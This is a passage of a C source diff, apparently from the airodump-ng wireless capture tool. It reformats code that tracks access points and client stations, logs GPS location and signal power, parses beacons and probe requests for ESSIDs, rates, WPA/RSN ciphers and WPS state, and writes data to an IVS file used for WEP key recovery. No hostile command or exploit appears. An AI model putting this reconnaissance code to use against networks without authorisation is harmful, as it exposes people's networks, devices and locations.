+		if (!memcmp(na_cur->namac, mac, 6)) break;
+
+		na_prv = na_cur;
+		na_cur = na_cur->next;
+	}
+
+	/* if it's known, remove it */
+	if (na_cur != NULL)
+	{
+		/* first in linked list */
+		if (na_cur == G.na_1st)
+		{
+			G.na_1st = na_cur->next;
+		}
+		else
+		{
+			na_prv->next = na_cur->next;
+		}
+		free(na_cur);
+		na_cur = NULL;
+	}
+
+	return (0);
+}
+
+static int dump_add_packet(unsigned char * h80211,
+						   int caplen,
+						   struct rx_info * ri,
+						   int cardnum)
+{
+	int i, n, seq, msd, dlen, offset, clen, o;
+	unsigned z;
+	int type, length, numuni = 0, numauth = 0;
+	struct pcap_pkthdr pkh;
+	struct timeval tv;
+	struct ivs2_pkthdr ivs2;
+	unsigned char *p, *org_p, c;
+	unsigned char bssid[6];
+	unsigned char stmac[6];
+	unsigned char namac[6];
+	unsigned char clear[2048];
+	int weight[16];
+	int num_xor = 0;
+
+	struct AP_info * ap_cur = NULL;
+	struct ST_info * st_cur = NULL;
+	struct NA_info * na_cur = NULL;
+	struct AP_info * ap_prv = NULL;
+	struct ST_info * st_prv = NULL;
+	struct NA_info * na_prv = NULL;
+
+	/* skip all non probe response frames in active scanning simulation mode */
+	if (G.active_scan_sim > 0 && h80211[0] != 0x50) return (0);
+
+	/* skip packets smaller than a 802.11 header */
+
+	if (caplen < 24) goto write_packet;
+
+	/* skip (uninteresting) control frames */
 
-        if(st_cur->lastseq != 0)
-        {
-            msd = seq - st_cur->lastseq - 1;
-            if(msd > 0 && msd < 1000)
-                st_cur->missed += msd;
-        }
-        st_cur->lastseq = seq;
-    }
+	if ((h80211[0] & 0x0C) == 0x04) goto write_packet;
 
-    st_cur->nb_pkt++;
+	/* if it's a LLC null packet, just forget it (may change in the future) */
+
+	if (caplen > 28)
+		if (memcmp(h80211 + 24, llcnull, 4) == 0) return (0);
+
+	/* grab the sequence number */
+	seq = ((h80211[22] >> 4) + (h80211[23] << 4));
+
+	/* locate the access point's MAC address */
+
+	switch (h80211[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, h80211 + 16, 6);
+			break; // Adhoc
+		case 1:
+			memcpy(bssid, h80211 + 4, 6);
+			break; // ToDS
+		case 2:
+			memcpy(bssid, h80211 + 10, 6);
+			break; // FromDS
+		case 3:
+			memcpy(bssid, h80211 + 10, 6);
+			break; // WDS -> Transmitter taken as BSSID
+	}
+
+	if (memcmp(G.f_bssid, NULL_MAC, 6) != 0)
+	{
+		if (memcmp(G.f_netmask, NULL_MAC, 6) != 0)
+		{
+			if (is_filtered_netmask(bssid)) return (1);
+		}
+		else
+		{
+			if (memcmp(G.f_bssid, bssid, 6) != 0) return (1);
+		}
+	}
+
+	/* update our chained list of access points */
+
+	ap_cur = G.ap_1st;
+	ap_prv = NULL;
+
+	while (ap_cur != NULL)
+	{
+		if (!memcmp(ap_cur->bssid, bssid, 6)) break;
+
+		ap_prv = ap_cur;
+		ap_cur = ap_cur->next;
+	}
+
+	/* if it's a new access point, add it */
+
+	if (ap_cur == NULL)
+	{
+		if (!(ap_cur = (struct AP_info *) malloc(sizeof(struct AP_info))))
+		{
+			perror("malloc failed");
+			return (1);
+		}
+
+		/* if mac is listed as unknown, remove it */
+		remove_namac(bssid);
+
+		memset(ap_cur, 0, sizeof(struct AP_info));
+
+		if (G.ap_1st == NULL)
+			G.ap_1st = ap_cur;
+		else
+			ap_prv->next = ap_cur;
+
+		memcpy(ap_cur->bssid, bssid, 6);
+		if (ap_cur->manuf == NULL)
+		{
+			ap_cur->manuf = get_manufacturer(
+				ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]);
+		}
+
+		ap_cur->nb_pkt = 0;
+		ap_cur->prev = ap_prv;
+
+		ap_cur->tinit = time(NULL);
+		ap_cur->tlast = time(NULL);
+
+		ap_cur->avg_power = -1;
+		ap_cur->best_power = -1;
+		ap_cur->power_index = -1;
+
+		for (i = 0; i < NB_PWR; i++) ap_cur->power_lvl[i] = -1;
+
+		ap_cur->channel = -1;
+		ap_cur->max_speed = -1;
+		ap_cur->security = 0;
+
+		ap_cur->uiv_root = uniqueiv_init();
+
+		ap_cur->nb_data = 0;
+		ap_cur->nb_dataps = 0;
+		ap_cur->nb_data_old = 0;
+		gettimeofday(&(ap_cur->tv), NULL);
+
+		ap_cur->dict_started = 0;
+
+		ap_cur->key = NULL;
+
+		G.ap_end = ap_cur;
+
+		ap_cur->nb_bcn = 0;
+
+		ap_cur->rx_quality = 0;
+		ap_cur->fcapt = 0;
+		ap_cur->fmiss = 0;
+		ap_cur->last_seq = 0;
+		gettimeofday(&(ap_cur->ftimef), NULL);
+		gettimeofday(&(ap_cur->ftimel), NULL);
+		gettimeofday(&(ap_cur->ftimer), NULL);
+
+		ap_cur->ssid_length = 0;
+		ap_cur->essid_stored = 0;
+		memset(ap_cur->essid, 0, MAX_IE_ELEMENT_SIZE);
+		ap_cur->timestamp = 0;
+
+		ap_cur->decloak_detect = G.decloak;
+		ap_cur->is_decloak = 0;
+		ap_cur->packets = NULL;
+
+		ap_cur->marked = 0;
+		ap_cur->marked_color = 1;
+
+		ap_cur->data_root = NULL;
+		ap_cur->EAP_detected = 0;
+		memcpy(ap_cur->gps_loc_min, G.gps_loc, sizeof(float) * 5);
+		memcpy(ap_cur->gps_loc_max, G.gps_loc, sizeof(float) * 5);
+		memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float) * 5);
+
+		/* 802.11n and ac */
+		ap_cur->channel_width = CHANNEL_22MHZ; // 20MHz by default
+		memset(ap_cur->standard, 0, 3);
+
+		ap_cur->n_channel.sec_channel = -1;
+		ap_cur->n_channel.short_gi_20 = 0;
+		ap_cur->n_channel.short_gi_40 = 0;
+		ap_cur->n_channel.any_chan_width = 0;
+		ap_cur->n_channel.mcs_index = -1;
+
+		ap_cur->ac_channel.center_sgmt[0] = 0;
+		ap_cur->ac_channel.center_sgmt[1] = 0;
+		ap_cur->ac_channel.mu_mimo = 0;
+		ap_cur->ac_channel.short_gi_80 = 0;
+		ap_cur->ac_channel.short_gi_160 = 0;
+		ap_cur->ac_channel.split_chan = 0;
+		ap_cur->ac_channel.mhz_160_chan = 0;
+		ap_cur->ac_channel.wave_2 = 0;
+		memset(ap_cur->ac_channel.mcs_index, 0, MAX_AC_MCS_INDEX);
+	}
+
+	/* update the last time seen */
+
+	ap_cur->tlast = time(NULL);
+
+	/* only update power if packets comes from
+	 * the AP: either type == mgmt and SA == BSSID,
+	 * or FromDS == 1 and ToDS == 0 */
+
+	if (((h80211[1] & 3) == 0 && memcmp(h80211 + 10, bssid, 6) == 0)
+		|| ((h80211[1] & 3) == 2))
+	{
+		ap_cur->power_index = (ap_cur->power_index + 1) % NB_PWR;
+		ap_cur->power_lvl[ap_cur->power_index] = ri->ri_power;
+
+		ap_cur->avg_power = 0;
+
+		for (i = 0, n = 0; i < NB_PWR; i++)
+		{
+			if (ap_cur->power_lvl[i] != -1)
+			{
+				ap_cur->avg_power += ap_cur->power_lvl[i];
+				n++;
+			}
+		}
+
+		if (n > 0)
+		{
+			ap_cur->avg_power /= n;
+			if (ap_cur->avg_power > ap_cur->best_power)
+			{
+				ap_cur->best_power = ap_cur->avg_power;
+				memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float) * 5);
+			}
+		}
+		else
+			ap_cur->avg_power = -1;
+
+		/* every packet in here comes from the AP */
+
+		if (G.gps_loc[0] > ap_cur->gps_loc_max[0])
+			ap_cur->gps_loc_max[0] = G.gps_loc[0];
+		if (G.gps_loc[1] > ap_cur->gps_loc_max[1])
+			ap_cur->gps_loc_max[1] = G.gps_loc[1];
+		if (G.gps_loc[2] > ap_cur->gps_loc_max[2])
+			ap_cur->gps_loc_max[2] = G.gps_loc[2];
+
+		if (G.gps_loc[0] < ap_cur->gps_loc_min[0])
+			ap_cur->gps_loc_min[0] = G.gps_loc[0];
+		if (G.gps_loc[1] < ap_cur->gps_loc_min[1])
+			ap_cur->gps_loc_min[1] = G.gps_loc[1];
+		if (G.gps_loc[2] < ap_cur->gps_loc_min[2])
+			ap_cur->gps_loc_min[2] = G.gps_loc[2];
+		//        printf("seqnum: %i\n", seq);
+
+		if (ap_cur->fcapt == 0 && ap_cur->fmiss == 0)
+			gettimeofday(&(ap_cur->ftimef), NULL);
+		if (ap_cur->last_seq != 0)
+			ap_cur->fmiss += (seq - ap_cur->last_seq - 1);
+		ap_cur->last_seq = seq;
+		ap_cur->fcapt++;
+		gettimeofday(&(ap_cur->ftimel), NULL);
+
+		//         if(ap_cur->fcapt >= QLT_COUNT) update_rx_quality();
+	}
+
+	switch (h80211[0])
+	{
+		case 0x80:
+			ap_cur->nb_bcn++;
+			break;
+		case 0x50:
+			/* reset the WPS state */
+			ap_cur->wps.state = 0xFF;
+			ap_cur->wps.ap_setup_locked = 0;
+			break;
+	}
+
+	ap_cur->nb_pkt++;
+
+	/* locate the station MAC in the 802.11 header */
+
+	switch (h80211[1] & 3)
+	{
+		case 0:
+
+			/* if management, check that SA != BSSID */
+
+			if (memcmp(h80211 + 10, bssid, 6) == 0) goto skip_station;
+
+			memcpy(stmac, h80211 + 10, 6);
+			break;
+
+		case 1:
+
+			/* ToDS packet, must come from a client */
+
+			memcpy(stmac, h80211 + 10, 6);
+			break;
+
+		case 2:
+
+			/* FromDS packet, reject broadcast MACs */
+
+			if ((h80211[4] % 2) != 0) goto skip_station;
+			memcpy(stmac, h80211 + 4, 6);
+			break;
+
+		default:
+			goto skip_station;
+	}
+
+	/* update our chained list of wireless stations */
+
+	st_cur = G.st_1st;
+	st_prv = NULL;
+
+	while (st_cur != NULL)
+	{
+		if (!memcmp(st_cur->stmac, stmac, 6)) break;
+
+		st_prv = st_cur;
+		st_cur = st_cur->next;
+	}
+
+	/* if it's a new client, add it */
+
+	if (st_cur == NULL)
+	{
+		if (!(st_cur = (struct ST_info *) malloc(sizeof(struct ST_info))))
+		{
+			perror("malloc failed");
+			return (1);
+		}
+
+		/* if mac is listed as unknown, remove it */
+		remove_namac(stmac);
+
+		memset(st_cur, 0, sizeof(struct ST_info));
+
+		if (G.st_1st == NULL)
+			G.st_1st = st_cur;
+		else
+			st_prv->next = st_cur;
+
+		memcpy(st_cur->stmac, stmac, 6);
+
+		if (st_cur->manuf == NULL)
+		{
+			st_cur->manuf = get_manufacturer(
+				st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]);
+		}
+
+		st_cur->nb_pkt = 0;
+
+		st_cur->prev = st_prv;
+
+		st_cur->tinit = time(NULL);
+		st_cur->tlast = time(NULL);
+
+		st_cur->power = -1;
+		st_cur->best_power = -1;
+		st_cur->rate_to = -1;
+		st_cur->rate_from = -1;
+
+		st_cur->probe_index = -1;
+		st_cur->missed = 0;
+		st_cur->lastseq = 0;
+		st_cur->qos_fr_ds = 0;
+		st_cur->qos_to_ds = 0;
+		st_cur->channel = 0;
+
+		gettimeofday(&(st_cur->ftimer), NULL);
+
+		memcpy(st_cur->gps_loc_min, G.gps_loc, sizeof(st_cur->gps_loc_min));
+		memcpy(st_cur->gps_loc_max, G.gps_loc, sizeof(st_cur->gps_loc_max));
+		memcpy(st_cur->gps_loc_best, G.gps_loc, sizeof(st_cur->gps_loc_best));
+
+		for (i = 0; i < NB_PRB; i++)
+		{
+			memset(st_cur->probes[i], 0, sizeof(st_cur->probes[i]));
+			st_cur->ssid_length[i] = 0;
+		}
+
+		G.st_end = st_cur;
+	}
+
+	if (st_cur->base == NULL || memcmp(ap_cur->bssid, BROADCAST, 6) != 0)
+		st_cur->base = ap_cur;
+
+	// update bitrate to station
+	if ((st_cur != NULL) && (h80211[1] & 3) == 2) st_cur->rate_to = ri->ri_rate;
+
+	/* update the last time seen */
+
+	st_cur->tlast = time(NULL);
+
+	/* only update power if packets comes from the
+	 * client: either type == Mgmt and SA != BSSID,
+	 * or FromDS == 0 and ToDS == 1 */
+
+	if (((h80211[1] & 3) == 0 && memcmp(h80211 + 10, bssid, 6) != 0)
+		|| ((h80211[1] & 3) == 1))
+	{
+		st_cur->power = ri->ri_power;
+		if (ri->ri_power > st_cur->best_power)
+		{
+			st_cur->best_power = ri->ri_power;
+			memcpy(
+				ap_cur->gps_loc_best, G.gps_loc, sizeof(st_cur->gps_loc_best));
+		}
+
+		st_cur->rate_from = ri->ri_rate;
+		if (ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL)
+			st_cur->channel = ri->ri_channel;
+		else
+			st_cur->channel = G.channel[cardnum];
+
+		if (G.gps_loc[0] > st_cur->gps_loc_max[0])
+			st_cur->gps_loc_max[0] = G.gps_loc[0];
+		if (G.gps_loc[1] > st_cur->gps_loc_max[1])
+			st_cur->gps_loc_max[1] = G.gps_loc[1];
+		if (G.gps_loc[2] > st_cur->gps_loc_max[2])
+			st_cur->gps_loc_max[2] = G.gps_loc[2];
+
+		if (G.gps_loc[0] < st_cur->gps_loc_min[0])
+			st_cur->gps_loc_min[0] = G.gps_loc[0];
+		if (G.gps_loc[1] < st_cur->gps_loc_min[1])
+			st_cur->gps_loc_min[1] = G.gps_loc[1];
+		if (G.gps_loc[2] < st_cur->gps_loc_min[2])
+			st_cur->gps_loc_min[2] = G.gps_loc[2];
+
+		if (st_cur->lastseq != 0)
+		{
+			msd = seq - st_cur->lastseq - 1;
+			if (msd > 0 && msd < 1000) st_cur->missed += msd;
+		}
+		st_cur->lastseq = seq;
+	}
+
+	st_cur->nb_pkt++;
 
 skip_station:
 
-    /* packet parsing: Probe Request */
+	/* packet parsing: Probe Request */
+
+	if (h80211[0] == 0x40 && st_cur != NULL)
+	{
+		p = h80211 + 24;
+
+		while (p < h80211 + caplen)
+		{
+			if (p + 2 + p[1] > h80211 + caplen) break;
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
+				&& (p[1] > 1 || p[2] != ' '))
+			{
+				//                n = ( p[1] > 32 ) ? 32 : p[1];
+				n = p[1];
+
+				for (i = 0; i < n; i++)
+					if (p[2 + i] > 0 && p[2 + i] < ' ') goto skip_probe;
+
+				/* got a valid ASCII probed ESSID, check if it's
+				   already in the ring buffer */
 
-    if( h80211[0] == 0x40 && st_cur != NULL )
-    {
-        p = h80211 + 24;
-
-        while( p < h80211 + caplen )
-        {
-            if( p + 2 + p[1] > h80211 + caplen )
-                break;
-
-            if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' &&
-                ( p[1] > 1 || p[2] != ' ' ) )
-            {
-//                n = ( p[1] > 32 ) ? 32 : p[1];
-                n = p[1];
-
-                for( i = 0; i < n; i++ )
-                    if( p[2 + i] > 0 && p[2 + i] < ' ' )
-                        goto skip_probe;
-
-                /* got a valid ASCII probed ESSID, check if it's
-                   already in the ring buffer */
-
-                for( i = 0; i < NB_PRB; i++ )
-                    if( memcmp( st_cur->probes[i], p + 2, n ) == 0 )
-                        goto skip_probe;
-
-                st_cur->probe_index = ( st_cur->probe_index + 1 ) % NB_PRB;
-                memset( st_cur->probes[st_cur->probe_index], 0, 256 );
-                memcpy( st_cur->probes[st_cur->probe_index], p + 2, n ); //twice?!
-                st_cur->ssid_length[st_cur->probe_index] = n;
-
-                for( i = 0; i < n; i++ )
-                {
-                    c = p[2 + i];
-                    if( c == 0 || ( c > 126 && c < 160 ) ) c = '.';  //could also check ||(c>0 && c<32)
-                    st_cur->probes[st_cur->probe_index][i] = c;
-                }
-            }
-
-            p += 2 + p[1];
-        }
-    }
+				for (i = 0; i < NB_PRB; i++)
+					if (memcmp(st_cur->probes[i], p + 2, n) == 0)
+						goto skip_probe;
+
+				st_cur->probe_index = (st_cur->probe_index + 1) % NB_PRB;
+				memset(st_cur->probes[st_cur->probe_index], 0, 256);
+				memcpy(
+					st_cur->probes[st_cur->probe_index], p + 2, n); // twice?!
+				st_cur->ssid_length[st_cur->probe_index] = n;
+
+				if (verifyssid((const unsigned char *)
+								   st_cur->probes[st_cur->probe_index])
+					== 0)
+					for (i = 0; i < n; i++)
+					{
+						c = p[2 + i];
+						if (c == 0 || (c > 0 && c < 32) || (c > 126 && c < 160))
+							c = '.';
+						st_cur->probes[st_cur->probe_index][i] = c;
+					}
+			}
+
+			p += 2 + p[1];
+		}
+	}
 
 skip_probe:
 
-    /* packet parsing: Beacon or Probe Response */
+	/* packet parsing: Beacon or Probe Response */
+
+	if (h80211[0] == 0x80 || h80211[0] == 0x50)
+	{
+		if (!(ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)))
+		{
+			if ((h80211[34] & 0x10) >> 4)
+				ap_cur->security |= STD_WEP | ENC_WEP;
+			else
+				ap_cur->security |= STD_OPN;
+		}
+
+		ap_cur->preamble = (h80211[34] & 0x20) >> 5;
+
+		unsigned long long * tstamp = (unsigned long long *) (h80211 + 24);
+		ap_cur->timestamp = letoh64(*tstamp);
+
+		p = h80211 + 36;
+
+		while (p < h80211 + caplen)
+		{
+			if (p + 2 + p[1] > h80211 + caplen) break;
+
+			// only update the essid length if the new length is > the old one
+			if (p[0] == 0x00 && (ap_cur->ssid_length < p[1]))
+				ap_cur->ssid_length = p[1];
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
+				&& (p[1] > 1 || p[2] != ' '))
+			{
+				/* found a non-cloaked ESSID */
+
+				//                n = ( p[1] > 32 ) ? 32 : p[1];
+				n = p[1];
+
+				memset(ap_cur->essid, 0, 256);
+				memcpy(ap_cur->essid, p + 2, n);
+
+				if (G.f_ivs != NULL && !ap_cur->essid_stored)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags |= IVS2_ESSID;
+					ivs2.len += ap_cur->ssid_length;
+
+					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(G.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					/* write header */
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (1);
+					}
+
+					/* write BSSID */
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
+						}
+					}
+
+					/* write essid */
+					if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
+						!= (size_t) ap_cur->ssid_length)
+					{
+						perror("fwrite(IV essid) failed");
+						return (1);
+					}
+
+					ap_cur->essid_stored = 1;
+				}
+
+				if (verifyssid(ap_cur->essid) == 0)
+					for (i = 0; i < n; i++)
+						if ((ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32)
+							|| (ap_cur->essid[i] > 126
+								&& ap_cur->essid[i] < 160))
+							ap_cur->essid[i] = '.';
+			}
+
+			/* get the maximum speed in Mb and the AP's channel */
+
+			if (p[0] == 0x01 || p[0] == 0x32)
+			{
+				if (ap_cur->max_speed < (p[1 + p[1]] & 0x7F) / 2)
+					ap_cur->max_speed = (p[1 + p[1]] & 0x7F) / 2;
+			}
+
+			if (p[0] == 0x03)
+			{
+				ap_cur->channel = p[2];
+			}
+			else if (p[0] == 0x3d)
+			{
+				if (ap_cur->standard[0] == '\0')
+				{
+					ap_cur->standard[0] = 'n';
+				}
+
+				/* also get the channel from ht information->primary channel */
+				ap_cur->channel = p[2];
+
+				// Get channel width and secondary channel
+				switch (p[3] % 4)
+				{
+					case 0:
+						// 20MHz
+						ap_cur->channel_width = CHANNEL_20MHZ;
+						break;
+					case 1:
+						// Above
+						ap_cur->n_channel.sec_channel = 1;
+						switch (ap_cur->channel_width)
+						{
+							case CHANNEL_UNKNOWN_WIDTH:
+							case CHANNEL_3MHZ:
+							case CHANNEL_5MHZ:
+							case CHANNEL_10MHZ:
+							case CHANNEL_20MHZ:
+							case CHANNEL_22MHZ:
+							case CHANNEL_30MHZ:
+							case CHANNEL_20_OR_40MHZ:
+								ap_cur->channel_width = CHANNEL_40MHZ;
+								break;
+							default:
+								break;
+						}
+						break;
+					case 2:
+						// Reserved
+						break;
+					case 3:
+						// Below
+						ap_cur->n_channel.sec_channel = -1;
+						switch (ap_cur->channel_width)
+						{
+							case CHANNEL_UNKNOWN_WIDTH:
+							case CHANNEL_3MHZ:
+							case CHANNEL_5MHZ:
+							case CHANNEL_10MHZ:
+							case CHANNEL_20MHZ:
+							case CHANNEL_22MHZ:
+							case CHANNEL_30MHZ:
+							case CHANNEL_20_OR_40MHZ:
+								ap_cur->channel_width = CHANNEL_40MHZ;
+								break;
+							default:
+								break;
+						}
+						break;
+				}
+
+				ap_cur->n_channel.any_chan_width = ((p[3] / 4) % 2);
+			}
+
+			// HT capabilities
+			if (p[0] == 0x2d && p[1] > 18)
+			{
+				if (ap_cur->standard[0] == '\0')
+				{
+					ap_cur->standard[0] = 'n';
+				}
+
+				// Short GI for 20/40MHz
+				ap_cur->n_channel.short_gi_20 = (p[3] / 32) % 2;
+				ap_cur->n_channel.short_gi_40 = (p[3] / 64) % 2;
+
+				// Parse MCS rate
+				/*
+				 * XXX: Sometimes TX and RX spatial stream # differ and none of
+				 * the beacon
+				 * have that. If someone happens to have such AP, open an issue
+				 * with it.
+				 * Ref:
+				 * https://www.wireshark.org/lists/wireshark-bugs/201307/msg00098.html
+				 * See IEEE standard 802.11-2012 table 8.126
+				 *
+				 * For now, just figure out the highest MCS rate.
+				 */
+				if (ap_cur->n_channel.mcs_index == -1)
+				{
+					uint32_t rx_mcs_bitmask = 0;
+					memcpy(&rx_mcs_bitmask, p + 5, sizeof(uint32_t));
+					while (rx_mcs_bitmask)
+					{
+						++(ap_cur->n_channel.mcs_index);
+						rx_mcs_bitmask /= 2;
+					}
+				}
+			}
+
+			// VHT Capabilities
+			if (p[0] == 0xbf && p[1] >= 12)
+			{
+				// Standard is AC
+				strcpy(ap_cur->standard, "ac");
+
+				ap_cur->ac_channel.split_chan = (p[3] / 4) % 4;
+
+				ap_cur->ac_channel.short_gi_80 = (p[3] / 32) % 2;
+				ap_cur->ac_channel.short_gi_160 = (p[3] / 64) % 2;
+
+				ap_cur->ac_channel.mu_mimo
+					= ((p[3] / 524288) % 2) || ((p[3] / 1048576) % 2);
+
+				// A few things indicate Wave 2: MU-MIMO, 80+80 Channels
+				ap_cur->ac_channel.wave_2 = ap_cur->ac_channel.mu_mimo
+											|| ap_cur->ac_channel.split_chan;
+
+				// Maximum rates (16 bit)
+				uint16_t tx_mcs = 0;
+				memcpy(&tx_mcs, p + 10, sizeof(uint16_t));
+
+				// Maximum of 8 SS, each uses 2 bits
+				for (uint8_t stream_idx = 0; stream_idx < MAX_AC_MCS_INDEX;
+					 ++stream_idx)
+				{
+					uint8_t mcs = (uint8_t)(tx_mcs % 4);
+
+					// Unsupported -> No more spatial stream
+					if (mcs == 3)
+					{
+						break;
+					}
+					switch (mcs)
+					{
+						case 0:
+							// support of MCS 0-7
+							ap_cur->ac_channel.mcs_index[stream_idx] = 7;
+							break;
+						case 1:
+							// support of MCS 0-8
+							ap_cur->ac_channel.mcs_index[stream_idx] = 8;
+							break;
+						case 2:
+							// support of MCS 0-9
+							ap_cur->ac_channel.mcs_index[stream_idx] = 9;
+							break;
+					}
+
+					// Next spatial stream
+					tx_mcs /= 4;
+				}
+			}
+
+			// VHT Operations
+			if (p[0] == 0xc0 && p[1] >= 3)
+			{
+				// Standard is AC
+				strcpy(ap_cur->standard, "ac");
+
+				// Channel width
+				switch (p[2])
+				{
+					case 0:
+						// 20 or 40MHz
+						ap_cur->channel_width = CHANNEL_20_OR_40MHZ;
+						break;
+					case 1:
+						ap_cur->channel_width = CHANNEL_80MHZ;
+						break;
+					case 2:
+						ap_cur->channel_width = CHANNEL_160MHZ;
+						break;
+					case 3:
+						// 80+80MHz
+						ap_cur->channel_width = CHANNEL_80_80MHZ;
+						ap_cur->ac_channel.split_chan = 1;
+						break;
+				}
+
+				// 802.11ac channel center segments
+				ap_cur->ac_channel.center_sgmt[0] = p[3];
+				ap_cur->ac_channel.center_sgmt[1] = p[4];
+			}
+
+			// Next
+			p += 2 + p[1];
+		}
+
+		// Now get max rate
+		if (ap_cur->standard[0] == 'n' || strcmp(ap_cur->standard, "ac") == 0)
+		{
+			int sgi = 0;
+			int width = 0;
+
+			switch (ap_cur->channel_width)
+			{
+				case CHANNEL_20MHZ:
+					width = 20;
+					sgi = ap_cur->n_channel.short_gi_20;
+					break;
+				case CHANNEL_20_OR_40MHZ:
+				case CHANNEL_40MHZ:
+					width = 40;
+					sgi = ap_cur->n_channel.short_gi_40;
+					break;
+				case CHANNEL_80MHZ:
+					width = 80;
+					sgi = ap_cur->ac_channel.short_gi_80;
+					break;
+				case CHANNEL_80_80MHZ:
+				case CHANNEL_160MHZ:
+					width = 160;
+					sgi = ap_cur->ac_channel.short_gi_160;
+					break;
+				default:
+					break;
+			}
+
+			if (width != 0)
+			{
+				// In case of ac, get the amount of spatial streams
+				int amount_ss = 1;
+				if (ap_cur->standard[0] != 'n')
+				{
+					for (amount_ss = 0;
+						 amount_ss < MAX_AC_MCS_INDEX
+						 && ap_cur->ac_channel.mcs_index[amount_ss] != 0;
+						 ++amount_ss)
+						;
+				}
+
+				// Get rate
+				float max_rate
+					= (ap_cur->standard[0] == 'n')
+						  ? get_80211n_rate(
+								width, sgi, ap_cur->n_channel.mcs_index)
+						  : get_80211ac_rate(
+								width,
+								sgi,
+								ap_cur->ac_channel.mcs_index[amount_ss - 1],
+								amount_ss);
+
+				// If no error, update rate
+				if (max_rate > 0)
+				{
+					ap_cur->max_speed = (int) max_rate;
+				}
+			}
+		}
+	}
+
+	/* packet parsing: Beacon & Probe response */
+	/* TODO: Merge this if and the one above */
+	if ((h80211[0] == 0x80 || h80211[0] == 0x50) && caplen > 38)
+	{
+		p = h80211 + 36; // ignore hdr + fixed params
+
+		while (p < h80211 + caplen)
+		{
+			type = p[0];
+			length = p[1];
+			if (p + 2 + length > h80211 + caplen)
+			{
+				/*                printf("error parsing tags! %p vs. %p (tag:
+				%i, length: %i,position: %i)\n", (p+2+length), (h80211+caplen),
+				type, length, (p-h80211));
+				exit(1);*/
+				break;
+			}
+
+			// Find WPA and RSN tags
+			if ((type == 0xDD && (length >= 8)
+				 && (memcmp(p + 2, "\x00\x50\xF2\x01\x01\x00", 6) == 0))
+				|| (type == 0x30))
+			{
+				ap_cur->security &= ~(STD_WEP | ENC_WEP | STD_WPA);
+
+				org_p = p;
+				offset = 0;
+
+				if (type == 0xDD)
+				{
+					// WPA defined in vendor specific tag -> WPA1 support
+					ap_cur->security |= STD_WPA;
+					offset = 4;
+				}
+
+				// RSN => WPA2
+				if (type == 0x30)
+				{
+					ap_cur->security |= STD_WPA2;
+					offset = 0;
+				}
+
+				if (length < (18 + offset))
+				{
+					p += length + 2;
+					continue;
+				}
+
+				// Number of pairwise cipher suites
+				if (p + 9 + offset > h80211 + caplen) break;
+				numuni = p[8 + offset] + (p[9 + offset] << 8);
+
+				// Number of Authentication Key Managament suites
+				if (p + (11 + offset) + 4 * numuni > h80211 + caplen) break;
+				numauth = p[(10 + offset) + 4 * numuni]
+						  + (p[(11 + offset) + 4 * numuni] << 8);
+
+				p += (10 + offset);
+
+				if (type != 0x30)
+				{
+					if (p + (4 * numuni) + (2 + 4 * numauth) > h80211 + caplen)
+						break;
+				}
+				else
+				{
+					if (p + (4 * numuni) + (2 + 4 * numauth) + 2
+						> h80211 + caplen)
+						break;
+				}
+
+				// Get the list of cipher suites
+				for (i = 0; i < numuni; i++)
+				{
+					switch (p[i * 4 + 3])
+					{
+						case 0x01:
+							ap_cur->security |= ENC_WEP;
+							break;
+						case 0x02:
+							ap_cur->security |= ENC_TKIP;
+							break;
+						case 0x03:
+							ap_cur->security |= ENC_WRAP;
+							break;
+						case 0x0A:
+						case 0x04:
+							ap_cur->security |= ENC_CCMP;
+							break;
+						case 0x05:
+							ap_cur->security |= ENC_WEP104;
+							break;
+						case 0x08:
+						case 0x09:
+							ap_cur->security |= ENC_GCMP;
+							break;
+						default:
+							break;
+					}
+				}
+
+				p += 2 + 4 * numuni;
+
+				// Get the AKM suites
+				for (i = 0; i < numauth; i++)
+				{
+					switch (p[i * 4 + 3])
+					{
+						case 0x01:
+							ap_cur->security |= AUTH_MGT;
+							break;
+						case 0x02:
+							ap_cur->security |= AUTH_PSK;
+							break;
+						default:
+							break;
+					}
+				}
+
+				p += 2 + 4 * numauth;
+
+				if (type == 0x30) p += 2;
+
+				p = org_p + length + 2;
+			}
+			else if ((type == 0xDD && (length >= 8)
+					  && (memcmp(p + 2, "\x00\x50\xF2\x02\x01\x01", 6) == 0)))
+			{
+				// QoS IE
+				ap_cur->security |= STD_QOS;
+				p += length + 2;
+			}
+			else if ((type == 0xDD && (length >= 4)
+					  && (memcmp(p + 2, "\x00\x50\xF2\x04", 4) == 0)))
+			{
+				// WPS IE
+				org_p = p;
+				p += 6;
+				int len = length, subtype = 0, sublen = 0;
+				while (len >= 4)
+				{
+					subtype = (p[0] << 8) + p[1];
+					sublen = (p[2] << 8) + p[3];
+					if (sublen > len) break;
+					switch (subtype)
+					{
+						case 0x104a: // WPS Version
+							ap_cur->wps.version = p[4];
+							break;
+						case 0x1011: // Device Name
+						case 0x1012: // Device Password ID
+						case 0x1021: // Manufacturer
+						case 0x1023: // Model
+						case 0x1024: // Model Number
+						case 0x103b: // Response Type
+						case 0x103c: // RF Bands
+						case 0x1041: // Selected Registrar
+						case 0x1042: // Serial Number
+							break;
+						case 0x1044: // WPS State
+							ap_cur->wps.state = p[4];
+							break;
+						case 0x1047: // UUID Enrollee
+						case 0x1049: // Vendor Extension
